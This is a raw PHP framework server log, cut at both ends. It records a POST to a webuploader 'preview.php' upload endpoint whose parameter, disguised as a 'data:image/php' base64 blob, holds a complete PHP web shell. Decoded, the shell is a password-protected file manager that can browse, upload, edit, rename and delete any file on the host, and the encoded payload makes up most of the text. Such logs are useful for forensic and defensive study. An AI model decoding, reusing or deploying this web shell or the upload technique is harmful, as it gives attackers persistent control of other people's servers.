bG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:57+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/webuploader/0.1.5/server/preview.php [运行时间:0.002868s] [吞吐率:348.68req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogI